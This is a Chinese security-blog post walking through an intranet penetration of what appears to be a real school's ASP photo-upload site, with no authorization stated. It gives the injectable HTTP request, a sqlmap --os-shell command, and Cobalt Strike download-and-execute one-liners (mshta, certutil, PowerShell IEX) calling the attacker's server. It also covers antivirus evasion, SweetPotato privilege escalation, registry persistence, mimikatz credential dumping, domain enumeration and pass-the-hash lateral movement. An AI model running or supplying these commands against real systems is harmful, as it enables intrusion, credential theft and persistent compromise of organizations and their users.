freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一篇内网渗透(初识+实战)
2020-12-31 11:09:45

前言

最近找到一个可注入点:

POST http://target_ip/PhotoUpload/%E5%AD%B8%E7%94%9F%E8%AD%89%E4%BB%B6%E7%85%A7%E4%B8%8A%E5%82%B3.asp HTTP/1.1
Host: target_ip
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://target_ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://target_ip/PhotoUpload/%E5%AD%B8%E7%94%9F%E8%AD%89%E4%BB%B6%E7%85%A7%E4%B8%8A%E5%82%B3.asp?dir=\PhotoUpload\photoupload\1_%A4@%A6~%AF%C5&txtStdID=1&txtSchoolYear=109A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASPSESSIONIDCADTTSAT=DEJLKGJALIKBNHGNEIDBINDO
Connection: close

txtSchoolYear=109A&txtStdID=2*

数据包如上


Get Shell:

经过简单手工测试,发现这边存在堆叠注入。

话不多说,上sqlmap。

python sqlmap.py -r 1.txt --random-agent --level 5 --risk 3 --technique S --os-shell

成功拿到os-shell


上线:

Server:

./teamserver x.x.x.x  passwd

Client:

由于是第一次使用cs 这边就本次渗透过程中主要用到的几个个模块稍作总结:

Listener:

dns/reverse_dns_txt:使用DNS的TXT类型进行数据传输,对目标进行管理
dns/reverse_http:使用DNS的方式对目标主机进行管理
http/reverse_http:使用HTTP的方式对目标主机进行管理
https/reverse_https:使用HTTPS加密的方式对目标主机进行管理
smb/bind_pipe: 使用SMB命名管道通信
foreign/reverse_http: 将目标权限通过http的方式外派给metasploit或empire
foreign/reverse_https: 将目标权限通过https的方式外派给metasploit或empire
foreign/reverse_tcp: 将目标权限通过tcp的方式外派给metasploit或empire

具体可参考:

https://blog.csdn.net/qq_45434762/article/details/110298161

这里我们选择 http/reverse_http


Attacks:

  • Packages:


HTML Application        生成恶意的HTA木马文件
MS Office Macro         生成office宏病毒文件
Payload Generator       生成各种语言版本的payload
USB/CD AutoPlay         生成利用自动播放运行的木马文件
Windows Dropper         捆绑器,能够对文档类进行捆绑
Windows Executable      生成可执行exe木马
Windows Executable(S)   生成无状态的可执行exe木马
  • Web Drive-by
Manage                    对开启的web服务进行管理
Clone Site                克隆网站,可以记录受害者提交的数据
Host File                 提供一个文件下载,可以修改Mime信息
Scripted Web Delivery     为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery
Signed Applet Attack      使用java自签名的程序进行钓鱼攻击
Smart Applet Attack       自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(已过时)
System Profiler           用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
Spear Phish               用来邮件钓鱼的模块


这里我们使用HTML Application 和Windows Executable(S) 作示范:

  • HTML Application :

设置listener:

1609382837_5fed3bb5298306d7a8b8a.png!small?1609382837428

生成.hta文件:

1609382916_5fed3c04a051b8213af97.png!small

通过Web Drive-by中的Host File 将本地的hta文件映射到服务器的相关端口下1609382934_5fed3c168cf991228890c.png!small?1609382935222

1609382969_5fed3c3920cf8ad4717bd.png!small?1609382969426

执行木马文件:

在os-shell中执行:

mshta http://server_ip:80/download/file.ext

很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分。HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“古老”方式之一。运行Microsoft HTML应用程序主机的Mshta.exe,Windows OS实用程序负责运行HTA(HTML应用程序)文件。我们可以运行JavaScript或Visual的HTML文件。您可以使用Microsoft MSHTA.exe工具解析这些文件。

  • Windows Executable(S) :

选择listener:

1609382994_5fed3c52e162d2ceb6ebc.png!small?1609382995231

生成ps1文件:

1609383114_5fed3ccad705d3679050a.png!small?1609383115259

同样 通过Web Drive-by中的Host File 将本地的ps1文件映射到服务器的相关端口下1609383128_5fed3cd89e5186d92db6f.png!small?1609383129172


Certutil 是一个 CLI 程序,可用于转储和显示证书颁发机构(CA),配置信息,证书服务, CA 组件的备份和还原以及验证证书、密钥对和证书链,它作为证书服务的一部分安装。

使用以下命令将我们生成的木马文件下载到宿主机上:

certutil.exe -urlcache -split -f http://server_ip:80/download/file.ext


同时我们也可以通过:

certutil -encode/-decode参数 在一定程度绕过杀软。


  • Scripted Web Delivery

其实也可以直接使用该模块来上线:

1609383187_5fed3d13eb035cddfadfc.png!small?1609383188357

生成的脚本如下:

1609383205_5fed3d254a8b623b925ef.png!small?1609383205653

os-shell执行:

powershell.exe
-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://server_ip:80/a'))"

权限提升/权限维持

之前get_shell的那台server被设置了不可出网down掉了,这边暂时使用可用的server来做演示。

1609383287_5fed3d773c8a374b73f28.png!small?1609383287628

可以看到目前我们的beacon权限已为system,但我们维持会话的进程在powershell.exe中,很容易down掉,所以这边我还是进行了一次提权操作,看看提权后的会话会是在哪个进程中。


  • 查看系统信息:
shell systeminfo

打的补丁还挺多的:

1609383350_5fed3db6afcb6231a39c7.png!small?1609383351171

权限提升:

  • 梼杌taowu插件:

taowu是一款很强大的cs扩展插件,里面集成了众多exp与一键脚本。

项目地址:https://github.com/pandasec888/taowu-cobalt-strike


  • 使用SweetPotato进行提权操作:

1609383374_5fed3dce2e2e8b55ee953.png!small?1609383374521

成功提权:

1609383411_5fed3df302fbd3a606c8b.png!small?1609383411384
1609383465_5fed3e29e764831f119b0.png!small?1609383467283

可以看到提权成功后新增了一条会话,权限为system,且process运行在werfault.exe中


权限维持:

关于权限维持其实有很多种方式,taowu中也有一些自带的一键脚本

这边我们尝试使用注册表添加启动项的方式:

1609383483_5fed3e3b31bb60b575f9e.png!small?1609383483802


添加成功:

1609383508_5fed3e5450292f7693b99.png!small?1609383508878

内网信息搜集:

端口扫描:

1609383527_5fed3e671650c4dea97c2.png!small?1609383527809
1609383549_5fed3e7db46c5d3599a80.png!small?1609383550267

通过我们已获得的beacon扫描内网中开放相应端口的主机,扫描结果可以在目标 targets中查看:

1609383567_5fed3e8f67defc4c3863c.png!small?1609383567724

获取凭证:

运行mimikatz

1609383588_5fed3ea4bf7ddada00612.png!small?1609383589254

然后在凭证信息中查看相关用户名和口令:1609383601_5fed3eb18e5b19fb5a834.png!small?1609383602280

我们很幸运地找到了admin用户,以及他的密码。


域信息搜集:

不知道为何在AD2上命令总出错,考虑有杀软,这边换AD3来演示相关命令。

  • 查看本地用户组
shell net localgroup

1609383628_5fed3ecc10019808a8e05.png!small?1609383628682

  • 查看管理员组:

shell net localgroup Administrators

1609383648_5fed3ee08f49e00bce78f.png!small?1609383649155
  • 查看当前域:

shell net config Workstation

1609383669_5fed3ef50d49afaa833e9.png!small?1609383669538
  • 查看内网中有哪些域:

shell net view /domain

1609383697_5fed3f11f24bec53100a1.png!small?1609383698405

此条命令依然无法使用- -

  • 查看域控:

shell dsquery server

1609383717_5fed3f25095786304bba4.png!small?1609383717295

shell net group "domain controllers" /domain

1609383735_5fed3f37906b2e4c1ae39.png!small?1609383736301

横向移动

通过hash传递 横向获取其他主机beacon

Cs4.0使用手册中介绍的方法共5种:1609383750_5fed3f4678b0418a4bd41.png!small?1609383751253

Cs4.1中自带的jump方法一共有7种:

1609383768_5fed3f58940c0e68a1234.png!small?1609383768967

猜测其余两种应该跟ssh有关,这边我们选择psexec_psh,运行一个powershell程序。1609383783_5fed3f67840c98fe633de.png!small?1609383784221

成功jump

1609383801_5fed3f79051baec085f7e.png!small?1609383801422

接下来就是老一套的,权限提升+权限维持。


通过提取进程中的令牌信息

查看本机进程,选择通过admin用户创建的进程,Steal Token

1609383836_5fed3f9c5607030718b3b.png!small?1609383836757

选择我们刚刚使用的会话,勾选使用当前会话的token

1609383849_5fed3fa904521cd6de957.png!small?1609383849686

效果是一样的

1609383862_5fed3fb6ca65e65f81d33.png!small

后记

记录一个小问题:

当目标主机不被允许出网时怎么办?

这里能想到的其中一个解决方法 来自于Listener模块:

SMB/bind_pipe:

Beacon SMB使用命名管道与一个父Beacon进行通信,在由这个父Beacon与服务端通信,相当于一个桥梁,(因为Windows可以将命名管道通信封装在 SMB 协议中与远程主机进行通信,所以得名 SMB Beacon)

简单来说它会在我们指定的会话主机与我们想要拿下beacon的主机之间打通一条由SMB协议封装的tunnel,由于是smb协议,所以使用时需注意两个问题:


1.目标主机能够通过smb协议开启smb服务。
2.我们的访问权限要能够使用smb协议连接对方主机。

使用方法很简单,只需在listener中add一条smb/bind_pipe,然后在进行横向时选择它即可。

1609383891_5fed3fd3625b183650cdc.png!small?1609383892158

成功jump后,通过该pipe创建的会话后会有一条管道标识。1609383904_5fed3fe037c9f246a0738.png!small?1609383904649

1609383940_5fed40046161d2a6c510f.png!small?1609383940691

通过视图来看会更加直观一些。

1609383958_5fed4016483110d9cfb45.png!small?1609383958818

太菜了,暂时只能写到这么多,还在学习中。

# 内网渗透 # Cobalt strike
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录